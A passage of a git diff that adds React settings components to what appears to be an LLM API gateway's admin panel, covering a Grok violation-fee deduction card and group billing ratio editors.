+          />
+
+          <FormField
+            control={form.control}
+            name='general_setting.ping_interval_seconds'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Ping Interval (seconds)')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    min={1}
+                    disabled={!pingEnabled}
+                    className='w-24'
+                    value={
+                      field.value === undefined || field.value === null
+                        ? ''
+                        : String(field.value)
+                    }
+                    onChange={(event) => field.onChange(event.target.value)}
+                    onBlur={field.onBlur}
+                    name={field.name}
+                    ref={field.ref}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Recommended to keep this high to avoid upstream throttling.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/grok-settings-card.tsx b/new-api/web/default/src/features/system-settings/models/grok-settings-card.tsx
new file mode 100644
index 0000000..73e6dcc
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/grok-settings-card.tsx
@@ -0,0 +1,132 @@
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const XAI_VIOLATION_FEE_DOC_URL =
+  'https://docs.x.ai/docs/models#usage-guidelines-violation-fee'
+
+const grokSchema = z.object({
+  'grok.violation_deduction_enabled': z.boolean(),
+  'grok.violation_deduction_amount': z.coerce.number().min(0),
+})
+
+type GrokFormValues = z.infer<typeof grokSchema>
+
+interface Props {
+  defaultValues: GrokFormValues
+}
+
+export function GrokSettingsCard(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<GrokFormValues>({
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    resolver: zodResolver(grokSchema) as any,
+    defaultValues: props.defaultValues,
+  })
+
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  useResetForm(form as any, props.defaultValues)
+
+  const onSubmit = async (data: GrokFormValues) => {
+    const entries = Object.entries(data) as [string, unknown][]
+    const updates = entries.filter(
+      ([key, value]) =>
+        value !== (props.defaultValues[key as keyof GrokFormValues] as unknown)
+    )
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({
+        key,
+        value: value as string | number | boolean,
+      })
+    }
+  }
+
+  const enabled = form.watch('grok.violation_deduction_enabled')
+
+  return (
+    <SettingsSection
+      title={t('Grok Settings')}
+      description={t('Configure xAI Grok model specific settings')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='grok.violation_deduction_enabled'
+            render={({ field }) => (
+              <FormItem className='flex items-center gap-2'>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+                <div>
+                  <FormLabel>{t('Enable violation deduction')}</FormLabel>
+                  <FormDescription>
+                    {t(
+                      'When enabled, violation requests will incur additional charges.'
+                    )}{' '}
+                    <a
+                      href={XAI_VIOLATION_FEE_DOC_URL}
+                      target='_blank'
+                      rel='noreferrer'
+                      className='underline'
+                    >
+                      {t('Official documentation')}
+                    </a>
+                  </FormDescription>
+                </div>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='grok.violation_deduction_amount'
+            render={({ field }) => (
+              <FormItem className='max-w-xs'>
+                <FormLabel>{t('Violation deduction amount')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='number'
+                    step={0.01}
+                    min={0}
+                    {...field}
+                    disabled={!enabled}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Base amount. Actual deduction = base amount × system group rate.'
+                  )}
+                </FormDescription>
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/group-ratio-form.tsx b/new-api/web/default/src/features/system-settings/models/group-ratio-form.tsx
new file mode 100644
index 0000000..1e92d73
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/group-ratio-form.tsx
@@ -0,0 +1,278 @@
+import { memo, useCallback, useState } from 'react'
+import { type UseFormReturn } from 'react-hook-form'
+import { Code2, Eye } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { GroupRatioVisualEditor } from './group-ratio-visual-editor'
+import { GroupSpecialUsableRulesEditor } from './group-special-usable-editor'
+
+type GroupFormValues = {
+  GroupRatio: string
+  TopupGroupRatio: string
+  UserUsableGroups: string
+  GroupGroupRatio: string
+  AutoGroups: string
+  DefaultUseAutoGroup: boolean
+  GroupSpecialUsableGroup: string
+}
+
+type GroupRatioFormProps = {
+  form: UseFormReturn<GroupFormValues>
+  onSave: (values: GroupFormValues) => Promise<void>
+  isSaving: boolean
+}
+
+export const GroupRatioForm = memo(function GroupRatioForm({
+  form,
+  onSave,
+  isSaving,
+}: GroupRatioFormProps) {
+  const { t } = useTranslation()
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+
+  const handleFieldChange = useCallback(
+    (field: keyof GroupFormValues, value: string) => {
+      form.setValue(field, value, {
+        shouldValidate: true,
+        shouldDirty: true,
+      })
+    },
+    [form]
+  )
+
+  const toggleEditMode = useCallback(() => {
+    setEditMode((prev) => (prev === 'visual' ? 'json' : 'visual'))
+  }, [])
+
+  return (
+    <div className='space-y-6'>
+      <div className='flex justify-end'>
+        <Button variant='outline' size='sm' onClick={toggleEditMode}>
+          {editMode === 'visual' ? (
+            <>
+              <Code2 className='mr-2 h-4 w-4' />
+              {t('Switch to JSON')}
+            </>
+          ) : (
+            <>
+              <Eye className='mr-2 h-4 w-4' />
+              {t('Switch to Visual')}
+            </>
+          )}
+        </Button>
+      </div>
+
+      <Form {...form}>
+        {editMode === 'visual' ? (
+          <div className='space-y-6'>
+            <GroupRatioVisualEditor
+              groupRatio={form.watch('GroupRatio')}
+              topupGroupRatio={form.watch('TopupGroupRatio')}
+              userUsableGroups={form.watch('UserUsableGroups')}
+              groupGroupRatio={form.watch('GroupGroupRatio')}
+              autoGroups={form.watch('AutoGroups')}
+              onChange={(field, value) =>
+                handleFieldChange(field as keyof GroupFormValues, value)
+              }
+            />
+
+            <GroupSpecialUsableRulesEditor
+              value={form.watch('GroupSpecialUsableGroup')}
+              onChange={(value) =>
+                handleFieldChange('GroupSpecialUsableGroup', value)
+              }
+            />
+
+            <FormField
+              control={form.control}
+              name='DefaultUseAutoGroup'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Default to auto groups')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'When enabled, newly created tokens start in the first auto group.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <Button onClick={form.handleSubmit(onSave)} disabled={isSaving}>
+              {isSaving ? t('Saving...') : t('Save group ratios')}
+            </Button>
+          </div>
+        ) : (
+          <form onSubmit={form.handleSubmit(onSave)} className='space-y-6'>
+            <FormField
+              control={form.control}
+              name='GroupRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Group ratios')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON map of group → ratio applied when the user selects the group explicitly.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='TopupGroupRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Top-up group ratios')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as'
+                    )}
+                    {` { "default": 1, "vip": 1.2 }`}.
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='UserUsableGroups'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Selectable groups')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON map of group → description exposed when users create API keys.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='GroupGroupRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Inter-group overrides')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Nested JSON: source group →')}{' '}
+                    {`{ targetGroup: ratio }`}{' '}
+                    {t(
+                      'to override billing when a user in one group uses a token of another group.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='AutoGroups'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Auto assignment order')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON array of group identifiers. When enabled below, new tokens rotate through this list.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='GroupSpecialUsableGroup'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Special usable group rules')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='DefaultUseAutoGroup'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Default to auto groups')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'When enabled, newly created tokens start in the first auto group.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <Button type='submit' disabled={isSaving}>
+              {isSaving ? t('Saving...') : t('Save group ratios')}
+            </Button>
+          </form>
+        )}
+      </Form>
+    </div>
+  )
+})
diff --git a/new-api/web/default/src/features/system-settings/models/group-ratio-visual-editor.tsx b/new-api/web/default/src/features/system-settings/models/group-ratio-visual-editor.tsx
new file mode 100644
index 0000000..b80f7a2
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/group-ratio-visual-editor.tsx
@@ -0,0 +1,1115 @@
+import { useState, useMemo, memo } from 'react'
+import { Pencil, Plus, Trash2, GripVertical, ChevronDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { safeJsonParse } from '../utils/json-parser'
+
+type GroupRatioVisualEditorProps = {
+  groupRatio: string
+  topupGroupRatio: string
+  userUsableGroups: string
+  groupGroupRatio: string
+  autoGroups: string
+  onChange: (field: string, value: string) => void
+}
+
+type SimpleGroup = {
+  name: string
+  value: string
+}
+
+type UsableGroup = {
+  name: string
+  description: string
+}
+
+type GroupOverride = {
+  targetGroup: string
+  ratio: number
+}
+
+export const GroupRatioVisualEditor = memo(function GroupRatioVisualEditor({
+  groupRatio,
+  topupGroupRatio,
+  userUsableGroups,
+  groupGroupRatio,
+  autoGroups,
+  onChange,
+}: GroupRatioVisualEditorProps) {
+  const { t } = useTranslation()
+  const [simpleDialogOpen, setSimpleDialogOpen] = useState(false)
+  const [simpleDialogType, setSimpleDialogType] = useState<
+    'groupRatio' | 'topupGroupRatio' | null
+  >(null)
+  const [simpleEditData, setSimpleEditData] = useState<SimpleGroup | null>(null)
+
+  const [usableDialogOpen, setUsableDialogOpen] = useState(false)
+  const [usableEditData, setUsableEditData] = useState<UsableGroup | null>(null)
+
+  const [autoGroupDialogOpen, setAutoGroupDialogOpen] = useState(false)
+  const [autoGroupInput, setAutoGroupInput] = useState('')
+
+  const [groupOverrideDialogOpen, setGroupOverrideDialogOpen] = useState(false)
+  const [groupOverrideUserGroup, setGroupOverrideUserGroup] = useState<
+    string | null
+  >(null)
+  const [groupOverrideEditData, setGroupOverrideEditData] =
+    useState<GroupOverride | null>(null)
+
+  const [userGroupDialogOpen, setUserGroupDialogOpen] = useState(false)
+  const [userGroupInput, setUserGroupInput] = useState('')
+
+  // Parse group ratios
+  const groupRatioList = useMemo(() => {
+    const map = safeJsonParse<Record<string, number>>(groupRatio, {
+      fallback: {},
+      context: 'group ratios',
+    })
+    return Object.entries(map).map(([name, value]) => ({
+      name,
+      value: String(value),
+    }))
+  }, [groupRatio])
+
+  // Parse topup group ratios
+  const topupRatioList = useMemo(() => {
+    const map = safeJsonParse<Record<string, number>>(topupGroupRatio, {
+      fallback: {},
+      context: 'topup group ratios',
+    })
+    return Object.entries(map).map(([name, value]) => ({
+      name,
+      value: String(value),
+    }))
+  }, [topupGroupRatio])
+
+  // Parse usable groups
+  const usableGroupsList = useMemo(() => {
+    const map = safeJsonParse<Record<string, string>>(userUsableGroups, {
+      fallback: {},
+      context: 'user usable groups',
+    })
+    return Object.entries(map).map(([name, description]) => ({
+      name,
+      description: String(description),
+    }))
+  }, [userUsableGroups])
+
+  // Parse auto groups
+  const autoGroupsList = useMemo(() => {
+    return safeJsonParse<string[]>(autoGroups, {
+      fallback: [],
+      context: 'auto groups',
+    })
+  }, [autoGroups])
+
+  // Parse group-group ratios
+  const groupGroupRatioList = useMemo(() => {
+    const map = safeJsonParse<Record<string, Record<string, number>>>(
+      groupGroupRatio,
+      {
+        fallback: {},
+        context: 'group-group ratios',
+      }
+    )
+    return Object.entries(map).map(([userGroup, overrides]) => ({
+      userGroup,
+      overrides: Object.entries(overrides).map(([targetGroup, ratio]) => ({
+        targetGroup,
+        ratio,
+      })),
+    }))
+  }, [groupGroupRatio])
+
+  // Simple group handlers (for groupRatio and topupGroupRatio)
+  const handleSimpleAdd = (type: 'groupRatio' | 'topupGroupRatio') => {
+    setSimpleDialogType(type)
+    setSimpleEditData(null)
+    setSimpleDialogOpen(true)
+  }
+
+  const handleSimpleEdit = (
+    type: 'groupRatio' | 'topupGroupRatio',
+    group: SimpleGroup
+  ) => {
+    setSimpleDialogType(type)
+    setSimpleEditData(group)
+    setSimpleDialogOpen(true)
+  }
+
+  const handleSimpleSave = (name: string, value: string) => {
+    if (!simpleDialogType) return
+
+    const fieldName =
+      simpleDialogType === 'groupRatio' ? groupRatio : topupGroupRatio
+    const map = safeJsonParse<Record<string, number>>(fieldName, {
+      fallback: {},
+      silent: true,
+    })
+
+    if (simpleEditData && simpleEditData.name !== name) {
+      delete map[simpleEditData.name]
+    }
+
+    map[name] = parseFloat(value)
+
+    const field =
+      simpleDialogType === 'groupRatio' ? 'GroupRatio' : 'TopupGroupRatio'
+    onChange(field, JSON.stringify(map, null, 2))
+    setSimpleDialogOpen(false)
+  }
+
+  const handleSimpleDelete = (
+    type: 'groupRatio' | 'topupGroupRatio',
+    name: string
+  ) => {
+    const fieldName = type === 'groupRatio' ? groupRatio : topupGroupRatio
+    const map = safeJsonParse<Record<string, number>>(fieldName, {
+      fallback: {},
+      silent: true,
+    })
+    delete map[name]
+
+    const field = type === 'groupRatio' ? 'GroupRatio' : 'TopupGroupRatio'
+    onChange(field, JSON.stringify(map, null, 2))
+  }
+
+  // Usable groups handlers
+  const handleUsableAdd = () => {
+    setUsableEditData(null)
+    setUsableDialogOpen(true)
+  }
+
+  const handleUsableEdit = (group: UsableGroup) => {
+    setUsableEditData(group)
+    setUsableDialogOpen(true)
+  }
+
+  const handleUsableSave = (name: string, description: string) => {
+    const map = safeJsonParse<Record<string, string>>(userUsableGroups, {
+      fallback: {},
+      silent: true,
+    })
+
+    if (usableEditData && usableEditData.name !== name) {
+      delete map[usableEditData.name]
+    }
+
+    map[name] = description
+
+    onChange('UserUsableGroups', JSON.stringify(map, null, 2))
+    setUsableDialogOpen(false)
+  }
+
+  const handleUsableDelete = (name: string) => {
+    const map = safeJsonParse<Record<string, string>>(userUsableGroups, {
+      fallback: {},
+      silent: true,
+    })
+    delete map[name]
+    onChange('UserUsableGroups', JSON.stringify(map, null, 2))
+  }
+
+  // Auto groups handlers
+  const handleAutoGroupAdd = () => {
+    setAutoGroupInput('')
+    setAutoGroupDialogOpen(true)
+  }
+
+  const handleAutoGroupSave = () => {
+    if (!autoGroupInput.trim()) return
+
+    const list = [...autoGroupsList, autoGroupInput.trim()]
+    onChange('AutoGroups', JSON.stringify(list, null, 2))
+    setAutoGroupDialogOpen(false)
+  }
+
+  const handleAutoGroupDelete = (index: number) => {
+    const list = autoGroupsList.filter((_, i) => i !== index)
+    onChange('AutoGroups', JSON.stringify(list, null, 2))
+  }
+
+  const handleAutoGroupMove = (index: number, direction: 'up' | 'down') => {
+    const list = [...autoGroupsList]
+    const newIndex = direction === 'up' ? index - 1 : index + 1
+
+    if (newIndex < 0 || newIndex >= list.length) return
+    ;[list[index], list[newIndex]] = [list[newIndex], list[index]]
+    onChange('AutoGroups', JSON.stringify(list, null, 2))
+  }
+
+  // Group-group ratio handlers
+  const handleUserGroupAdd = () => {
+    setUserGroupInput('')
+    setUserGroupDialogOpen(true)
+  }
+
+  const handleUserGroupSave = () => {
+    if (!userGroupInput.trim()) return
+
+    const map = safeJsonParse<Record<string, Record<string, number>>>(
+      groupGroupRatio,
+      {
+        fallback: {},
+        silent: true,
+      }
+    )
+
+    if (!map[userGroupInput.trim()]) {
+      map[userGroupInput.trim()] = {}
+    }
+
+    onChange('GroupGroupRatio', JSON.stringify(map, null, 2))
+    setUserGroupDialogOpen(false)
+  }
+
+  const handleUserGroupDelete = (userGroup: string) => {
+    const map = safeJsonParse<Record<string, Record<string, number>>>(
+      groupGroupRatio,
+      {
+        fallback: {},
+        silent: true,
+      }
+    )
+    delete map[userGroup]
+    onChange('GroupGroupRatio', JSON.stringify(map, null, 2))
+  }
+
+  const handleOverrideAdd = (userGroup: string) => {
+    setGroupOverrideUserGroup(userGroup)
+    setGroupOverrideEditData(null)
+    setGroupOverrideDialogOpen(true)
+  }
+
+  const handleOverrideEdit = (userGroup: string, override: GroupOverride) => {
+    setGroupOverrideUserGroup(userGroup)
+    setGroupOverrideEditData(override)
+    setGroupOverrideDialogOpen(true)
+  }
+
+  const handleOverrideSave = (
+    targetGroup: string,
+    ratio: number,
+    oldTargetGroup?: string
+  ) => {
+    if (!groupOverrideUserGroup) return
+
+    const map = safeJsonParse<Record<string, Record<string, number>>>(
+      groupGroupRatio,
+      {
+        fallback: {},
+        silent: true,
+      }
+    )
+
+    if (!map[groupOverrideUserGroup]) {
+      map[groupOverrideUserGroup] = {}
+    }
+
+    if (oldTargetGroup && oldTargetGroup !== targetGroup) {
+      delete map[groupOverrideUserGroup][oldTargetGroup]
+    }
+
+    map[groupOverrideUserGroup][targetGroup] = ratio
+
+    onChange('GroupGroupRatio', JSON.stringify(map, null, 2))
+    setGroupOverrideDialogOpen(false)
+  }
+
+  const handleOverrideDelete = (userGroup: string, targetGroup: string) => {
+    const map = safeJsonParse<Record<string, Record<string, number>>>(
+      groupGroupRatio,
+      {
+        fallback: {},
+        silent: true,
+      }
+    )
+
+    if (map[userGroup]) {
+      delete map[userGroup][targetGroup]
+      if (Object.keys(map[userGroup]).length === 0) {
+        delete map[userGroup]
+      }
+    }
+
+    onChange('GroupGroupRatio', JSON.stringify(map, null, 2))
+  }
+
+  return (
+    <div className='space-y-6'>
+      {/* Group Ratios */}
+      <Card>
+        <CardHeader>
+          <CardTitle>{t('Group ratios')}</CardTitle>
+          <CardDescription>
+            {t('Base multipliers applied when users select specific groups.')}
+          </CardDescription>
+        </CardHeader>
+        <CardContent>
+          <div className='space-y-4'>
+            <Button onClick={() => handleSimpleAdd('groupRatio')} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add group')}
+            </Button>
+            {groupRatioList.length > 0 && (
+              <div className='rounded-md border'>
+                <Table>
+                  <TableHeader>
+                    <TableRow>
+                      <TableHead>{t('Group name')}</TableHead>
+                      <TableHead>{t('Ratio')}</TableHead>
+                      <TableHead className='text-right'>
+                        {t('Actions')}
+                      </TableHead>
+                    </TableRow>
+                  </TableHeader>
+                  <TableBody>
+                    {groupRatioList.map((group) => (
+                      <TableRow key={group.name}>
+                        <TableCell className='font-medium'>
+                          {group.name}
+                        </TableCell>
+                        <TableCell>{group.value}</TableCell>
+                        <TableCell className='text-right'>
+                          <div className='flex justify-end gap-2'>
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              onClick={() =>
+                                handleSimpleEdit('groupRatio', group)
+                              }
+                            >
+                              <Pencil className='h-4 w-4' />
+                            </Button>
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              onClick={() =>
+                                handleSimpleDelete('groupRatio', group.name)
+                              }
+                            >
+                              <Trash2 className='h-4 w-4' />
+                            </Button>
+                          </div>
+                        </TableCell>
+                      </TableRow>
+                    ))}
+                  </TableBody>
+                </Table>
+              </div>
+            )}
+          </div>
+        </CardContent>
+      </Card>
+
+      {/* Topup Group Ratios */}
+      <Card>
+        <CardHeader>
+          <CardTitle>{t('Top-up group ratios')}</CardTitle>
+          <CardDescription>
+            {t('Multipliers for recharge pricing based on user groups.')}
+          </CardDescription>
+        </CardHeader>
+        <CardContent>
+          <div className='space-y-4'>
+            <Button
+              onClick={() => handleSimpleAdd('topupGroupRatio')}
+              size='sm'
+            >
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add group')}
+            </Button>
+            {topupRatioList.length > 0 && (
+              <div className='rounded-md border'>
+                <Table>
+                  <TableHeader>
+                    <TableRow>
+                      <TableHead>{t('Group name')}</TableHead>
+                      <TableHead>{t('Multiplier')}</TableHead>
+                      <TableHead className='text-right'>
+                        {t('Actions')}
+                      </TableHead>
+                    </TableRow>
+                  </TableHeader>
+                  <TableBody>
+                    {topupRatioList.map((group) => (
+                      <TableRow key={group.name}>
+                        <TableCell className='font-medium'>
+                          {group.name}
+                        </TableCell>
+                        <TableCell>{group.value}</TableCell>
+                        <TableCell className='text-right'>
+                          <div className='flex justify-end gap-2'>
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              onClick={() =>
+                                handleSimpleEdit('topupGroupRatio', group)
+                              }
+                            >
+                              <Pencil className='h-4 w-4' />
+                            </Button>
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              onClick={() =>
+                                handleSimpleDelete(
+                                  'topupGroupRatio',
+                                  group.name
+                                )
+                              }
+                            >
+                              <Trash2 className='h-4 w-4' />
+                            </Button>
+                          </div>
+                        </TableCell>
+                      </TableRow>
+                    ))}
+                  </TableBody>
+                </Table>
+              </div>
+            )}
+          </div>
+        </CardContent>
+      </Card>
+
+      {/* Inter-group ratio overrides */}
+      <Card>
+        <CardHeader>
+          <CardTitle>{t('Inter-group ratio overrides')}</CardTitle>
+          <CardDescription>
+            {t(
+              'Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using "edit_this" group tokens.'
+            )}
+          </CardDescription>
+        </CardHeader>
+        <CardContent>
+          <div className='space-y-4'>
+            <Button onClick={handleUserGroupAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add user group')}
+            </Button>
+            {groupGroupRatioList.length > 0 && (
+              <div className='space-y-3'>
+                {groupGroupRatioList.map((userGroupData) => (
+                  <Collapsible key={userGroupData.userGroup}>
+                    <div className='rounded-lg border'>
+                      <div className='flex items-center justify-between p-4'>
+                        <div className='flex items-center gap-2'>
+                          <CollapsibleTrigger asChild>
+                            <Button variant='ghost' size='sm'>
+                              <ChevronDown className='h-4 w-4' />
+                            </Button>
+                          </CollapsibleTrigger>
+                          <span className='font-semibold'>
+                            {userGroupData.userGroup}
+                          </span>
+                          <span className='text-muted-foreground text-sm'>
+                            {t('{{count}} override', {
+                              count: userGroupData.overrides.length,
+                            })}
+                          </span>
+                        </div>
+                        <div className='flex gap-2'>
+                          <Button
+                            variant='ghost'
+                            size='sm'
+                            onClick={() =>
+                              handleOverrideAdd(userGroupData.userGroup)
+                            }
+                          >
+                            <Plus className='h-4 w-4' />
+                          </Button>
+                          <Button
+                            variant='ghost'
+                            size='sm'
+                            onClick={() =>
+                              handleUserGroupDelete(userGroupData.userGroup)
+                            }
+                          >
+                            <Trash2 className='h-4 w-4' />
+                          </Button>
+                        </div>
+                      </div>
+                      <CollapsibleContent>
+                        {userGroupData.overrides.length > 0 && (
+                          <div className='border-t'>
+                            <Table>
+                              <TableHeader>
+                                <TableRow>
+                                  <TableHead>{t('Target group')}</TableHead>
+                                  <TableHead>{t('Ratio')}</TableHead>
+                                  <TableHead className='text-right'>
+                                    {t('Actions')}
+                                  </TableHead>
+                                </TableRow>
+                              </TableHeader>
+                              <TableBody>
+                                {userGroupData.overrides.map((override) => (
+                                  <TableRow key={override.targetGroup}>
+                                    <TableCell className='font-medium'>
+                                      {override.targetGroup}
+                                    </TableCell>
+                                    <TableCell>{override.ratio}</TableCell>
+                                    <TableCell className='text-right'>
+                                      <div className='flex justify-end gap-2'>
+                                        <Button
+                                          variant='ghost'
+                                          size='sm'
+                                          onClick={() =>
+                                            handleOverrideEdit(
+                                              userGroupData.userGroup,
+                                              override
+                                            )
+                                          }
+                                        >
+                                          <Pencil className='h-4 w-4' />
+                                        </Button>
+                                        <Button
+                                          variant='ghost'
+                                          size='sm'
+                                          onClick={() =>
+                                            handleOverrideDelete(
+                                              userGroupData.userGroup,
+                                              override.targetGroup
+                                            )
+                                          }
+                                        >
+                                          <Trash2 className='h-4 w-4' />
+                                        </Button>
+                                      </div>
+                                    </TableCell>
+                                  </TableRow>
+                                ))}
+                              </TableBody>
+                            </Table>
+                          </div>
+                        )}
+                      </CollapsibleContent>
+                    </div>
+                  </Collapsible>
+                ))}
+              </div>
+            )}
+          </div>
+        </CardContent>
+      </Card>
+
+      {/* Usable Groups */}
+      <Card>
+        <CardHeader>
+          <CardTitle>{t('Selectable groups')}</CardTitle>
+          <CardDescription>
+            {t('Groups that users can select when creating API keys.')}
+          </CardDescription>
+        </CardHeader>
+        <CardContent>
+          <div className='space-y-4'>
+            <Button onClick={handleUsableAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add group')}
+            </Button>
+            {usableGroupsList.length > 0 && (
+              <div className='rounded-md border'>
+                <Table>
+                  <TableHeader>
+                    <TableRow>
+                      <TableHead>{t('Group name')}</TableHead>
+                      <TableHead>{t('Description')}</TableHead>
+                      <TableHead className='text-right'>
+                        {t('Actions')}
+                      </TableHead>
+                    </TableRow>
+                  </TableHeader>
+                  <TableBody>
+                    {usableGroupsList.map((group) => (
+                      <TableRow key={group.name}>
+                        <TableCell className='font-medium'>
+                          {group.name}
+                        </TableCell>
+                        <TableCell>{group.description}</TableCell>
+                        <TableCell className='text-right'>
+                          <div className='flex justify-end gap-2'>
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              onClick={() => handleUsableEdit(group)}
+                            >
+                              <Pencil className='h-4 w-4' />
+                            </Button>
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              onClick={() => handleUsableDelete(group.name)}
+                            >
+                              <Trash2 className='h-4 w-4' />
+                            </Button>
+                          </div>
+                        </TableCell>
+                      </TableRow>
+                    ))}
+                  </TableBody>
+                </Table>
+              </div>
+            )}
+          </div>
+        </CardContent>
+      </Card>
+
+      {/* Auto Groups */}
+      <Card>
+        <CardHeader>
+          <CardTitle>{t('Auto assignment order')}</CardTitle>
+          <CardDescription>
+            {t(
+              'Priority order for automatic group assignment. New tokens rotate through this list.'
+            )}
+          </CardDescription>
+        </CardHeader>
+        <CardContent>
+          <div className='space-y-4'>
+            <Button onClick={handleAutoGroupAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add group')}
